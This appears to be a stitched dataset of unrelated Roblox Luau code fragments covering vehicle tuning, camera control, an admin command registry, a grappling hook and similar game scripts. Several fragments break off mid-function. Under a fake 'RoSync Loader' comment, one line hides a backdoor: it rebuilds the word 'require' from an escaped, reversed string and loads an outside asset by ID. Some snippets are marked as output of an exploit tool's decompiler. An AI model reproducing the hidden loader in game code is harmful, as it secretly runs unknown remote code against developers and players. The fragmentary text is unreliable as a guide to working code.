local x = randomGenerator:NextInteger(-partVolume.Size.X/2, partVolume.Size.X/2)
local y = randomGenerator:NextInteger(-partVolume.Size.Y/2, partVolume.Size.Y/2)
local z = randomGenerator:NextInteger(-partVolume.Size.Z/2, partVolume.Size.Z/2)
local localOffset = Vector3.new(x, y, z)
local worldOffset = partVolume.CFrame:pointToWorldSpace(localOffset)
-- Calculate the rotation component of the random CFrame
local twoPi = math.pi * 2
local xRotation = randomGenerator:NextNumber() * twoPi
local yRotation = randomGenerator:NextNumber() * twoPi
local zRotation = randomGenerator:NextNumber() * twoPi
local CFrame = CFrame.Angles(xRotation, yRotation, zRotation)
-- Add the position and rotation together to get the full random CFrame
CFrame = CFrame + worldOffset
return CFrame
end
|
-- Define the maximum walk speed and acceleration
|
local MAX_WALK_SPEED = 100
local ACCELERATION = 10
|
-- Check if the player is walking
|
local check_movement = function()
if humanoid.WalkSpeed > 0 and humanoid.MoveDirection.Magnitude > 0 and humanoid.FloorMaterial ~= Enum.Material.Air then
return true
elseif humanoid.WalkSpeed <= 0 or humanoid.MoveDirection.Magnitude <= 0 or humanoid.FloorMaterial == Enum.Material.Air then
return false
end
end
|
--// Commands
--// Highly recommended you disable Intellesense before editing this...
|
return function(Vargs, GetEnv)
local env = GetEnv(nil, {script = script})
setfenv(1, env)
local server = Vargs.Server
local service = Vargs.Service
local Settings = server.Settings
local Functions, Commands, Admin, Anti, Core, HTTP, Logs, Remote, Process, Variables, Deps, t
local RegisterCommandDefinition
local function Init()
Functions = server.Functions;
Admin = server.Admin;
Anti = server.Anti;
Core = server.Core;
HTTP = server.HTTP;
Logs = server.Logs;
Remote = server.Remote;
Process = server.Process;
Variables = server.Variables;
Commands = server.Commands;
Deps = server.Deps;
t = server.Typechecker;
local ValidateCommandDefinition = t.interface({
Prefix = t.string,
Commands = t.array(t.string),
Description = t.string,
AdminLevel = t.union(t.string, t.number, t.nan, t.array(t.union(t.string, t.number, t.nan))),
Fun = t.boolean,
Hidden = t.boolean,
Disabled = t.boolean,
NoStudio = t.boolean,
NonChattable = t.boolean,
AllowDonors = t.boolean,
Donors = t.boolean,
Filter = t.boolean,
Function = t.callback,
ListUpdater = t.optional(t.union(t.string, t.callback))
})
function RegisterCommandDefinition(ind, cmd)
if type(ind) ~= "string" then
logError("Non-string command index:", typeof(ind), ind)
Commands[ind] = nil
return
end
if type(cmd) ~= "table" then
logError("Non-table command definition:", ind)
Commands[ind] = nil
return
end
for opt, default in {
Prefix = Settings.Prefix;
Commands = {};
Description = "(No description)";
Fun = false;
Hidden = false;
Disabled = false;
NoStudio = false;
NonChattable = false;
AllowDonors = false;
Donors = false;
CrossServerDenied = false;
IsCrossServer = false;
Filter = false;
Function = function(plr)
Remote.MakeGui(plr, "Output", {Message = "No command implementation"})
end
}
do
if cmd[opt] == nil then
cmd[opt] = default
end
end
if cmd.Chattable ~= nil then
cmd.NonChattable = not cmd.Chattable
cmd.Chattable = nil
warn(`Deprecated 'Chattable' property found in command {ind}; switched to NonChattable = {cmd.NonChattable}`)
end
Admin.PrefixCache[cmd.Prefix] = true
for _, v in cmd.Commands do
Admin.CommandCache[string.lower(cmd.Prefix..v)] = ind
end
cmd.Args = cmd.Args or cmd.Arguments or {}
local lvl = cmd.AdminLevel
if type(lvl) == "string" and lvl ~= "Donors" then
cmd.AdminLevel = Admin.StringToComLevel(lvl)
elseif type(lvl) == "table" then
for b, v in lvl do
lvl[b] = Admin.StringToComLevel(v)
end
elseif type(lvl) == "nil" then
cmd.AdminLevel = 0
end
if cmd.ListUpdater then
Logs.ListUpdaters[ind] = function(plr, ...)
if not plr or Admin.CheckComLevel(Admin.GetLevel(plr), cmd.AdminLevel) then
if type(cmd.ListUpdater) == "function" then
return cmd.ListUpdater(plr, ...)
end
return Logs[cmd.ListUpdater]
end
end
end
local isValid, fault = ValidateCommandDefinition(cmd)
if not isValid then
logError(`Invalid command definition table {ind}:`, fault)
Commands[ind] = nil
end
rawset(Commands, ind, cmd)
end
--// Automatic New Command Caching and Ability to do server.Commands[":ff"]
setmetatable(Commands, {
__index = function(_, ind)
if type(ind) ~= "string" then return nil end
local targInd = Admin.CommandCache[string.lower(ind)]
return if targInd then rawget(Commands, targInd) else rawget(Commands, ind)
end;
__newindex = function(_, ind, val)
if val == nil then
if rawget(Commands, ind) ~= nil then
rawset(Commands, ind, nil)
Logs.AddLog("Script", "Removed command definition:", ind)
end
elseif rawget(Commands, "RunAfterPlugins") then
rawset(Commands, ind, val)
else
if rawget(Commands, ind) ~= nil then
Logs.AddLog("Script", "Overwriting command definition:", ind)
end
RegisterCommandDefinition(ind, val)
end
end;
})
Logs.AddLog("Script", "Loading Command Modules...")
--// Load command modules
if server.CommandModules then
local env = GetEnv()
for i, module in server.CommandModules:GetChildren() do
local func = require(module)
local ran, tab = pcall(func, Vargs, env)
if ran and tab and type(tab) == "table" then
for ind, cmd in tab do
Commands[ind] = cmd
end
Logs.AddLog("Script", `Loaded Command Module: {module.Name}`)
elseif not ran then
warn(`CMDMODULE {module.Name} failed to load:`)
warn(tostring(tab))
Logs.AddLog("Script", `Loading Command Module Failed: {module.Name}`)
end
end
end
--// Cache commands
Admin.CacheCommands()
rawset(Commands, "Init", nil)
Logs.AddLog("Script", "Commands Module Initialized")
end
local function RunAfterPlugins()
--// Load custom user-supplied commands in settings.Commands
local commandEnv = GetEnv(nil, {
script = server.Config and server.Config:FindFirstChild("Settings") or script;
})
for ind, cmd in Settings.Commands or {} do
if type(cmd) == "table" and cmd.Function then
setfenv(cmd.Function, commandEnv)
Commands[ind] = cmd
end
end
--// Change command permissions based on settings
local Trim = service.Trim
for ind, cmd in Settings.Permissions or {} do
local com, level = string.match(cmd, "^(.*):(.*)")
if com and level then
if string.find(level, ",") then
local newLevels = {}
for lvl in string.gmatch(level, "[^%s,]+") do
table.insert(newLevels, Trim(lvl))
end
Admin.SetPermission(com, newLevels)
else
Admin.SetPermission(com, level)
end
end
end
for ind, cmd in Commands do
RegisterCommandDefinition(ind, cmd)
end
rawset(Commands, "RunAfterPlugins", nil)
end
server.Commands = {
Init = Init;
RunAfterPlugins = RunAfterPlugins;
};
end
|
------ Locales ------
|
local CaseData = script.Parent.CaseData
local InformationData = script.Parent.Parent.Parent.CaseInformationFrame.Information
local InformationImage = script.Parent.Parent.Parent.CaseInformationFrame.Variables.CaseInformationPhoto
local InformationVariables = script.Parent.Parent.Parent.CaseInformationFrame.Variables
local Button = script.Parent
local Image = Button.UI.Package
local Player = game:GetService("Players").LocalPlayer
local Inventory = Player.Inventory
local Variables = Button.Variables
|
--[[ Last synced 2/5/2021 05:41 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- Cleaning the blood parts function
|
local deleteBlood = function(part)
local tween = tweenPartSize(part, 0.5, Enum.EasingDirection.In, Vector3.new(0, 0.1, 0))
spawn(function()
tween.Completed:Wait()
tween:Destroy()
part:Destroy()
end)
end
|
-- Otherwise, set it to false if you want to see them.
| |
-- Each note takes up exactly 8 seconds in audio. i.e C2 lasts 8 secs, C2# lasts 8 secs, C3 lasts 8 secs, C3# lasts 8 secs etc. for each audio
-- These are the IDs of the piano sounds.
|
settings.SoundSource = Piano.Keys.KeyBox
settings.CameraCFrame = CFrame.new(
(Box.CFrame * CFrame.new(0, 0, 1)).p, -- +z is towards player
(Box.CFrame * CFrame.new(0, 0, 0)).p
)
|
--avoid error, script runs before script.Tool and script.Target are added as children
|
wait()
script.Tool.Value.Changed:connect(function(pr)
--print("Tool \"", script.Tool.Value, "\"s parent changed to ", script.Tool.Value.Parent)
if pr == "Parent" then
if script.Tool.Value.Parent == game.Workspace then
game.Workspace.CurrentCamera.CameraType = 5
game.Workspace.CurrentCamera.CameraSubject = script.Target.Value
end
end
end)
script.Tool.Value.Unequipped:connect(function()
wait(0.5)
script:remove()
end)
print("PaperPlaneGear :: CamFocusFailsafe loaded")
|
--[[Weight and CG]]
|
Tune.Weight = 3960 -- Total weight (in pounds)
Tune.WeightBSize = { -- Size of weight brick (dimmensions in studs ; larger = more stable)
--[[Width]] 6 ,
--[[Height]] 3.5 ,
--[[Length]] 14 }
Tune.WeightDist = 50 -- Weight distribution (0 - on rear wheels, 100 - on front wheels, can be <0 or >100)
Tune.CGHeight = .8 -- Center of gravity height (studs relative to median of all wheels)
Tune.WBVisible = false -- Makes the weight brick visible
--Unsprung Weight
Tune.FWheelDensity = .1 -- Front Wheel Density
Tune.RWheelDensity = .1 -- Rear Wheel Density
Tune.FWLgcyDensity = 1 -- Front Wheel Density [PGS OFF]
Tune.RWLgcyDensity = 1 -- Rear Wheel Density [PGS OFF]
Tune.AxleSize = 2 -- Size of structural members (larger = more stable/carry more weight)
Tune.AxleDensity = .1 -- Density of structural members
|
--script.Parent.PlaybackSpeed = (math.random(8,20)/10)
--wait(0.5)
| |
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local v1 = {
Name = "Ping",
Title = "Ping",
Icon = client.MatIcons.Leaderboard,
Size = { 150, 70 },
Position = UDim2.new(0, 10, 1, -80),
AllowMultiple = false,
NoHide = true
};
local u1 = true;
function v1.OnClose()
u1 = false;
end;
local v2 = client.UI.Make("Window", v1);
if v2 then
local v3 = v2:Add("TextLabel", {
Text = "...",
BackgroundTransparency = 1,
TextSize = 20,
Size = UDim2.new(1, 0, 1, 0),
Position = UDim2.new(0, 0, 0, 0)
});
local l__gTable__4 = v2.gTable;
v2:Ready();
while true do
v3.Text = client.Remote.Ping() .. "ms";
wait(2);
if not u1 then
break;
end;
if not l__gTable__4.Active then
break;
end;
end;
end;
end;
|
--[[
___ _______ _
/ _ |____/ ___/ / ___ ____ ___ (_)__
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-<
/_/ |_| \___/_//_/\_,_/___/___/_/___/
SecondLogic @ Inspare
]]
|
local FE = workspace.FilteringEnabled
local car = script.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])
local on = 0
script:WaitForChild("Rev")
script:WaitForChild("Turbo")
if not FE then
for i,v in pairs(car.Body.ENGINE:GetChildren()) do
for _,a in pairs(script:GetChildren()) do
if v.Name==a.Name then v:Stop() wait() v:Destroy() end
end
end
for i,v in pairs(script:GetChildren()) do
v.Parent=car.Body.ENGINE
end
car.Body.ENGINE.Rev:Play()
car.Body.ENGINE.idle:Play()
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
car.Body.ENGINE.Rev.Pitch = (car.Body.ENGINE.Rev.SetPitch.Value + car.Body.ENGINE.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
car.Body.ENGINE.Turbo.Pitch = (car.Body.ENGINE.Turbo.SetPitch.Value + car.Body.ENGINE.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2
car.Body.ENGINE.idle.Pitch = (car.Body.ENGINE.idle.SetPitch.Value + car.Body.ENGINE.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2
if _RPM == 700 then
car.Body.ENGINE.idle.Volume = .1-- 0/.07
car.Body.ENGINE.Turbo.Volume = .2
car.Body.ENGINE.Rev.Volume = 0
else
car.Body.ENGINE.Rev.Volume = .2
car.Body.ENGINE.idle.Volume = 0
-- car.Body.ENGINE.Turbo:Stop()
end
end
else
local handler = car.AC6_FE_Sounds
handler:FireServer("newSound","Rev",car.Body.ENGINE,script.Rev.SoundId,0,script.Rev.Volume,true)
handler:FireServer("playSound","Rev")
handler:FireServer("newSound","Turbo",car.Body.ENGINE,script.Turbo.SoundId,0,script.Turbo.Volume,true)
handler:FireServer("playSound","Turbo")
handler:FireServer("newSound","idle",car.Body.ENGINE,script.idle.SoundId,0,script.Turbo.Volume,true)
handler:FireServer("playSound","idle")
local pitch=0
local pitch2=0
local pitch3=0
while wait() do
local _RPM = script.Parent.Values.RPM.Value
if not car.DriveSeat.IsOn.Value then on=math.max(on-.015,0) else on=1 end
pitch = (script.Rev.SetPitch.Value + script.Rev.SetRev.Value*_RPM/_Tune.Redline)*on^2
pitch2 = (script.Turbo.SetPitch.Value + script.Turbo.SetRev.Value*_RPM/_Tune.Redline)*on^2
pitch3 = (script.idle.SetPitch.Value + script.idle.SetRev.Value*_RPM/_Tune.Redline)*on^2
handler:FireServer("updateSound","Rev",script.Rev.SoundId,pitch,script.Rev.Volume)
handler:FireServer("updateSound","Turbo",script.Turbo.SoundId,pitch2,script.Turbo.Volume)
handler:FireServer("updateSound","idle",script.idle.SoundId,pitch3,script.idle.Volume)
end
end
|
--Supercharger
|
local Whine_Pitch = 1.2 --max pitch of the whine (not exact so might have to mess with it)
|
--[[
Main RenderStep Update. The camera controller and occlusion module both have opportunities
to set and modify (respectively) the CFrame and Focus before it is set once on CurrentCamera.
The camera and occlusion modules should only return CFrames, not set the CFrame property of
CurrentCamera directly.
--]]
|
function CameraModule:Update(dt)
if self.activeCameraController then
self.activeCameraController:UpdateMouseBehavior()
local newCameraCFrame, newCameraFocus = self.activeCameraController:Update(dt)
if self.activeOcclusionModule then
newCameraCFrame, newCameraFocus = self.activeOcclusionModule:Update(dt, newCameraCFrame, newCameraFocus)
end
-- Here is where the new CFrame and Focus are set for this render frame
local currentCamera = game.Workspace.CurrentCamera :: Camera
currentCamera.CFrame = newCameraCFrame
currentCamera.Focus = newCameraFocus
-- Update to character local transparency as needed based on camera-to-subject distance
if self.activeTransparencyController then
self.activeTransparencyController:Update(dt)
end
if CameraInput.getInputEnabled() then
CameraInput.resetInputForFrameEnd()
end
end
end
|
-- Register's a newly added Motor6D
-- into the provided joint rotator.
|
function CharacterRealism:AddMotor(rotator, motor)
local parent = motor.Parent
if parent and parent.Name == "Head" then
parent.CanCollide = true
end
-- Wait until this motor is marked as active
-- before attempting to use it in the rotator.
Util:PromiseValue(motor, "Active", function ()
local data =
{
Motor = motor;
C0 = motor.C0;
}
-- If it can be found, use the source RigAttachment for this Motor6D
-- joint instead of using the static C0 value. This is intended for R15.
Util:PromiseChild(motor.Part0, motor.Name .. "RigAttachment", function (origin)
if origin:IsA("Attachment") then
data.Origin = origin
data.C0 = nil
end
end)
-- Add this motor to the rotator
-- by the name of its Part1 value.
local id = motor.Part1.Name
rotator.Motors[id] = data
end)
end
|
--mesh.Scale = Vector3.new(0.1,1,0.1)
|
local RetractionSpeed = 80
local StartDistance = 100
local PlayerBodyVelocity = Instance.new("BodyVelocity")
PlayerBodyVelocity.maxForce = Vector3.new(1e+0010, 1e+0010, 1e+0010)
local ObjectBodyVelocity = Instance.new("BodyVelocity")
ObjectBodyVelocity.maxForce = Vector3.new(14000,14000,14000) --force necessary to forcefully grab a player
local bodyPos = Instance.new("BodyPosition")
bodyPos.D = 1e+003
bodyPos.P = 3e+003
bodyPos.maxForce = Vector3.new(1e+006, 1e+006, 1e+006)
local bodyGyro = Instance.new("BodyGyro")
bodyGyro.maxTorque = Vector3.new(math.huge,math.huge,math.huge)
function BreakRope()
if human then
human.Sit = false
end
rope.Parent = nil
if PlayerBodyVelocity then PlayerBodyVelocity.Parent = nil end
if ObjectBodyVelocity then ObjectBodyVelocity.Parent = nil end
bodyGyro.Parent = nil
if bolt ~= nil then
bolt.Parent = nil
end
if holdweld ~= nil then
holdweld.Parent = nil
end
holdweld = nil
bolt = nil
--Tool.Handle.Mesh.MeshId = "http://www.roblox.com/asset/?id=89987774"
--Tool.GripPos = defaultPos
wait(.45)
if bolt == nil then
bodyGyro.Parent = nil --keep the gyro a little longer so retracted object doesnt ragdoll player
end
script.Parent.Bolt.Transparency = 0
end
function adjustRope()
if bolt and torso then
if (torso.Position - bolt.Position).magnitude > maxDistance then BreakRope() end
end
if rope.Parent == nil or bolt == nil then return end
local pos1 = Tool.Bolt.Position + Tool.Bolt.CFrame.lookVector*.3
local pos2 = bolt.Position
rope.Size = Vector3.new(0, 1, 0)
rope.Mesh.Scale = Vector3.new(0.1, (pos1-pos2).magnitude, 0.1)
rope.CFrame = CFrame.new((pos1 + pos2)/2, pos2) * CFrame.fromEulerAnglesXYZ(-math.pi/2,0,0)
end
function updateVelocities()
if bolt and torso and ObjectBodyVelocity then
local grappleVector = (torso.Position - bolt.Position)
if grappleVector.magnitude > maxDistance then
BreakRope()
return
end
if bolt.Velocity.magnitude < 3 and -1* torso.Velocity:Dot(grappleVector.unit) < 5 and grappleVector.magnitude < .75 * StartDistance then
print("hop up")
PlayerBodyVelocity.velocity = PlayerBodyVelocity.velocity + Vector3.new(0,20,0)
wait(.25)
BreakRope()
return
end
if grappleVector.magnitude < 3.5 then
print("grapple end")
wait(.20)
BreakRope()
return
else
ObjectBodyVelocity.velocity = grappleVector.unit * RetractionSpeed
local boltRetraction = math.max(grappleVector.unit:Dot(bolt.Velocity),0) --no negative speed
local playerSpeed = math.max(0, RetractionSpeed - 5 - boltRetraction)
if playerSpeed == 0 then
PlayerBodyVelocity.Parent = nil
else
PlayerBodyVelocity.Parent = torso
PlayerBodyVelocity.velocity = grappleVector.unit * playerSpeed * -1
end
end
else
BreakRope()
end
end
function onBoltHit(hit)
if bolt == nil or hit == nil or hit.Parent == nil or hit == rope or bolt.Name ~= "Bolt" or hit.Parent == Tool or hit.Parent == Tool.Parent or hit.Parent.Parent == Tool.Parent or hit.Parent.Name == "Attached Bolt" then
return
end
local grappleVector = (torso.Position - bolt.Position)
StartDistance = grappleVector.magnitude
if StartDistance > maxDistance then
bolt.Parent = nil
bolt = nil
return
end
bolt.Name = "Attached Bolt"
local boltFrame = CFrame.new(hit.Position)
local C0 = hit.CFrame:inverse() * boltFrame
local C1 = bolt.CFrame:inverse() * boltFrame
local weld = Instance.new("Weld")
weld.Part0 = hit
weld.Part1 = bolt
weld.C0 = C0
weld.C1 = C1
weld.Parent = bolt
local hum = hit.Parent:FindFirstChild("Immortal")
if hum then hum.Sit = true end
if bolt:FindFirstChild("HitSound") then bolt.HitSound:play() end
local backupbolt = bolt
ObjectBodyVelocity = Instance.new("BodyVelocity")
ObjectBodyVelocity.maxForce = Vector3.new(5000,5000,5000)
ObjectBodyVelocity.velocity = grappleVector.unit * RetractionSpeed
ObjectBodyVelocity.Parent = bolt
wait(0.4)
if bolt == nil or bolt ~= backupbolt then return end
bolt.ConnectSound:play()
Tool.Handle.ConnectSound:play()
script.Parent.Bolt.Transparency = 1
targetPos = bolt.Position
backupPos = bolt.Position
--bodyPos.position = targetPos
--bodyPos.Parent = torso
PlayerBodyVelocity.Parent = torso
PlayerBodyVelocity.velocity = Vector3.new(0,0,0)
bodyGyro.cframe = torso.CFrame
bodyGyro.Parent = torso
while bolt ~= nil do
--bodyPos.position = bolt.Position
updateVelocities()
wait(1/30)
end
end
enabled = true
local canReset = true
function onButton1Down(mouse)
if bolt and canReset then
BreakRope()
end
if not enabled then
return
end
if bolt ~= nil and not canFireWhileGrappling then return end
if bolt ~= nil then
if boltconnect ~= nil then
print("Disconnecting")
boltconnect:disconnect()
end
bolt:remove()
targetPos = Vector3.new(0,0,0)
end
Tool.Handle.FireSound:play()
enabled = false
mouse.Icon = "rbxasset://textures\\GunWaitCursor.png"
--bolt = game:GetService("InsertService"):LoadAsset(33393977)
script.Parent.Bolt.Transparency = 1
bolt = Tool.Bolt:Clone()
bolt.Name = "Bolt"
bolt.Size = Vector3.new(1,.4,1)
bolt.Locked = false
--bolt.Mesh.MeshId = "http://www.roblox.com/asset/?id=89989174"
--local instances = bolt:GetChildren()
--if #instances == 0 then
-- bolt:Remove()
-- return
--end
--bolt = bolt:FindFirstChild("Bolt")
--local boltMesh = bolt:FindFirstChild("Mesh")
bolt.CFrame = CFrame.new(Tool.Bolt.Position + (mouse.Hit.p - Tool.Bolt.Position).unit * 5,mouse.Hit.p) --* CFrame.fromEulerAnglesXYZ(0,math.pi,0)
bolt.Transparency = 0
bolt.CanCollide = false
bolt.Velocity = bolt.CFrame.lookVector * 80
if bolt:findFirstChild("BodyPosition") ~= nil then
bolt.BodyPosition:remove()
end
local force = Instance.new("BodyForce")
force.force = Vector3.new(0,bolt:GetMass() * 196.1,0)
force.Parent = bolt
bolt.Parent = workspace
boltconnect = bolt.AncestryChanged:connect(function() onKeyDown("q") end)
bolt.Touched:connect(onBoltHit)
rope.Parent = Tool
bolt.Parent = game.Workspace
--Tool.Handle.Mesh.MeshId = "http://www.roblox.com/asset/?id=89988787"
--Tool.GripPos = adjustedPos
canReset = false
wait(.5)
canReset = true
wait(1)
mouse.Icon = "rbxasset://textures\\GunCursor.png"
enabled = true
end
function onKeyDown(key)
key = key:lower()
if key == "q" then
BreakRope()
end
end
function getHumanoid(obj)
for i,child in pairs(obj:getChildren()) do
if child.className == "Humanoid" then
return child
end
end
end
function onEquippedLocal(mouse)
if mouse == nil then
print("Mouse not found")
return
end
torso = Tool.Parent:findFirstChild("Torso")
human = Tool.Parent:FindFirstChild("Immortal")--getHumanoid(Tool.Parent)
if torso == nil or human == nil then return end
human.Jumping:connect(function() onKeyDown("q") end)
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(function() onButton1Down(mouse) end)
mouse.KeyDown:connect(onKeyDown)
end
Tool.Equipped:connect(onEquippedLocal)
Tool.Unequipped:connect(function() onKeyDown("q") end)
while true do
adjustRope()
wait(1/60)
end
|
--// F key, HornOff
|
mouse.KeyUp:connect(function(key)
if key=="h" then
veh.Lightbar.middle.Airhorn:Stop()
veh.Lightbar.middle.Wail.Volume = 1
veh.Lightbar.middle.Yelp.Volume = 1
veh.Lightbar.middle.Priority.Volume = 1
end
end)
|
-- GROUPS
|
Groups = {
[0] = {
[254] = "Administrator";
[1] = "VIP";
};
};
|
-- goro7
|
script.Parent.Event:connect(function(plr)
-- Check if sufficient time has passed
local currentTime = tick()
if currentTime - plr.Stats.LastDailyHunterCoins.Value >= 86400 then
-- Change stats
plr.Stats.Coins.Value = plr.Stats.Coins.Value + 9000
plr.Stats.LastDailyHunterCoins.Value = currentTime
-- Send result
game.ReplicatedStorage.Interactions.Client.DailyHunterCoinsResult:FireClient(plr, true, tick())
else
-- Send result
game.ReplicatedStorage.Interactions.Client.DailyHunterCoinsResult:FireClient(plr, false, tick())
end
end)
|
------CruisinWithMyHomies v---
|
mouse.KeyDown:connect(function (key)
key = string.lower(key)
if carSeat.Velocity.Magnitude > 25 and key == "x" and cc.Value == false then
cc.Value = true
rwd.MaxSpeed = carSeat.Velocity.Magnitude
rrwd.MaxSpeed = carSeat.Velocity.Magnitude
lwd.MaxSpeed = carSeat.Velocity.Magnitude
rwd.Torque = tq
rrwd.Torque = ftq
lwd.Torque = ftq
rwd.Throttle = 1
rrwd.Throttle = 1
lwd.Throttle = 1
elseif key == "x" and cc.Value == true then
cc.Value = false
end
end)
|
-- Rate = 64;
|
Rate = 8;
-- Size: How large the droplets roughly are (in studs)
Size = 0.1;
-- Tint: What color the droplets are tinted (leave as nil for a default realistic light blue)
Tint = Color3.fromRGB(226, 244, 255);
-- Fade: How long it takes for a droplet to fade
Fade = 1.5;
}
local UpVec = Vector3.new(0, 1, 0)
local DROPLET_SIZE = Vector3.new(1, 1, 1)
local EMPTY_CFRAME = CFrame.new()
|
--[[ Roblox Services ]]
|
--
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local StarterGui = game:GetService("StarterGui")
local GuiService = game:GetService("GuiService")
local ContextActionService = game:GetService("ContextActionService")
local VRService = game:GetService("VRService")
local UserGameSettings = UserSettings():GetService("UserGameSettings")
local player = Players.LocalPlayer
|
-- connect up
|
function stopLoopedSounds()
sRunning:Stop()
sClimbing:Stop()
sSwimming:Stop()
end
Humanoid.Died:connect(onDied)
Humanoid.Running:connect(onRunning)
Humanoid.Swimming:connect(onSwimming)
Humanoid.Climbing:connect(onClimbing)
Humanoid.Jumping:connect(function(state) onStateNoStop(state, sJumping) prevState = "Jump" end)
Humanoid.GettingUp:connect(function(state) stopLoopedSounds() onStateNoStop(state, sGettingUp) prevState = "GetUp" end)
Humanoid.FreeFalling:connect(function(state) stopLoopedSounds() onStateFall(state, sFreeFalling) prevState = "FreeFall" end)
Humanoid.FallingDown:connect(function(state) stopLoopedSounds() onStateNoStop(state, sFallingDown) prevState = "Falling" end)
Humanoid.StateChanged:connect(function(old, new)
if not (new.Name == "Dead" or
new.Name == "Running" or
new.Name == "RunningNoPhysics" or
new.Name == "Swimming" or
new.Name == "Jumping" or
new.Name == "GettingUp" or
new.Name == "Freefall" or
new.Name == "FallingDown") then
stopLoopedSounds()
end
end)
|
--- Gets a command definition by name. (Can be an alias)
|
function Registry:GetCommand (name)
name = name or ""
return self.Commands[name:lower()]
end
|
--Variables
--local GameAnalyticsSendMessage = game:GetService("ReplicatedStorage"):WaitForChild("GameAnalyticsSendMessage")
| |
--//Functions
|
function CheckName(Object)
local NameFound = false
for _,Name in pairs({"LeftFoot", "LeftHand", "LeftLowerArm", "LeftLowerLeg", "LeftUpperArm", "LeftUpperLeg", "LowerTorso", "RightFoot", "RightHand", "RightLowerArm", "RightLowerLeg", "RightUpperArm", "RightUpperLeg", "UpperTorso", "Head"}) do
if string.lower(Object.Name) == string.lower(Name) then
NameFound = true
end
end
if NameFound then
return true
end
end
function AddWeld(Target, Object)
if Target and Object then
local Weld = Instance.new("WeldConstraint", Object)
Weld.Part0 = Target
Weld.Part1 = Object
end
end
function LockPlayer(Player, Value)
local Humanoid = Player.Character:FindFirstChildOfClass("Humanoid")
if Player and Humanoid then
if Value == true then
Humanoid.PlatformStand = true
Player.Character:FindFirstChild("HumanoidRootPart").Anchored = true
wait(0.5)
elseif Value == false then
Humanoid.PlatformStand = false
Player.Character:FindFirstChild("HumanoidRootPart").Anchored = false
end
end
end
|
--- Shows the command bar
|
function Window:Show()
return self:SetVisible(true)
end
|
-- Decompiled with the Synapse X Luau decompiler.
|
local v1 = {};
v1.__index = v1;
local u1 = Vector3.new(0, 0, 0);
function v1.new()
local v2 = setmetatable({}, v1);
v2.enabled = false;
v2.moveVector = u1;
v2.moveVectorIsCameraRelative = true;
v2.isJumping = false;
return v2;
end;
function v1.OnRenderStepped(p1, p2)
end;
function v1.GetMoveVector(p3)
return p3.moveVector;
end;
function v1.IsMoveVectorCameraRelative(p4)
return p4.moveVectorIsCameraRelative;
end;
function v1.GetIsJumping(p5)
return p5.isJumping;
end;
function v1.Enable(p6, p7)
error("BaseCharacterController:Enable must be overridden in derived classes and should not be called.");
return false;
end;
return v1;
|
-- Signal:Fire(...) implemented by running the handler functions on the
-- coRunnerThread, and any time the resulting thread yielded without returning
-- to us, that means that it yielded to the Roblox scheduler and has been taken
-- over by Roblox scheduling, meaning we have to make a new coroutine runner.
|
function Signal:Fire(...)
local item = self._handlerListHead
while item do
if item._connected then
if not freeRunnerThread then
freeRunnerThread = coroutine.create(runEventHandlerInFreeThread)
-- Get the freeRunnerThread to the first yield
coroutine.resume(freeRunnerThread)
end
task.spawn(freeRunnerThread, item._fn, ...)
end
item = item._next
end
end
|
-- ButtonClick
|
ExitButton.Activated:Connect(hide)
InteractionButton.Activated:Connect(show)
FreeFlightButton.Activated:Connect(EnterFreeFlight)
RaceButton.Activated:Connect(EnterRace)
|
--[[ The Module ]]
|
--
local MouseLockController = {}
MouseLockController.__index = MouseLockController
function MouseLockController.new()
local self = setmetatable({}, MouseLockController)
self.isMouseLocked = false
self.savedMouseCursor = nil
self.boundKeys = {Enum.KeyCode.LeftControl} -- defaults
self.mouseLockToggledEvent = Instance.new("BindableEvent")
local boundKeysObj = script:FindFirstChild("BoundKeys")
if (not boundKeysObj) or (not boundKeysObj:IsA("StringValue")) then
-- If object with correct name was found, but it's not a StringValue, destroy and replace
if boundKeysObj then
boundKeysObj:Destroy()
end
boundKeysObj = Instance.new("StringValue")
boundKeysObj.Name = "BoundKeys"
boundKeysObj.Value = "LeftControl"
boundKeysObj.Parent = script
end
if boundKeysObj then
boundKeysObj.Changed:Connect(function(value)
self:OnBoundKeysObjectChanged(value)
end)
self:OnBoundKeysObjectChanged(boundKeysObj.Value) -- Initial setup call
end
-- Watch for changes to user's ControlMode and ComputerMovementMode settings and update the feature availability accordingly
GameSettings.Changed:Connect(function(property)
if property == "ControlMode" or property == "ComputerMovementMode" then
self:UpdateMouseLockAvailability()
end
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevEnableMouseLock"):Connect(function()
self:UpdateMouseLockAvailability()
end)
-- Watch for changes to DevEnableMouseLock and update the feature availability accordingly
PlayersService.LocalPlayer:GetPropertyChangedSignal("DevComputerMovementMode"):Connect(function()
self:UpdateMouseLockAvailability()
end)
self:UpdateMouseLockAvailability()
return self
end
function MouseLockController:GetIsMouseLocked()
return self.isMouseLocked
end
function MouseLockController:GetBindableToggleEvent()
return self.mouseLockToggledEvent.Event
end
function MouseLockController:GetMouseLockOffset()
local offsetValueObj = script:FindFirstChild("CameraOffset")
if offsetValueObj and offsetValueObj:IsA("Vector3Value") then
return offsetValueObj.Value
else
-- If CameraOffset object was found but not correct type, destroy
if offsetValueObj then
offsetValueObj:Destroy()
end
offsetValueObj = Instance.new("Vector3Value")
offsetValueObj.Name = "CameraOffset"
offsetValueObj.Value = Vector3.new(1.75,0,0) -- Legacy Default Value
offsetValueObj.Parent = script
end
if offsetValueObj and offsetValueObj.Value then
return offsetValueObj.Value
end
return Vector3.new(1.75,0,0)
end
function MouseLockController:UpdateMouseLockAvailability()
local devAllowsMouseLock = PlayersService.LocalPlayer.DevEnableMouseLock
local devMovementModeIsScriptable = PlayersService.LocalPlayer.DevComputerMovementMode == Enum.DevComputerMovementMode.Scriptable
local userHasMouseLockModeEnabled = GameSettings.ControlMode == Enum.ControlMode.MouseLockSwitch
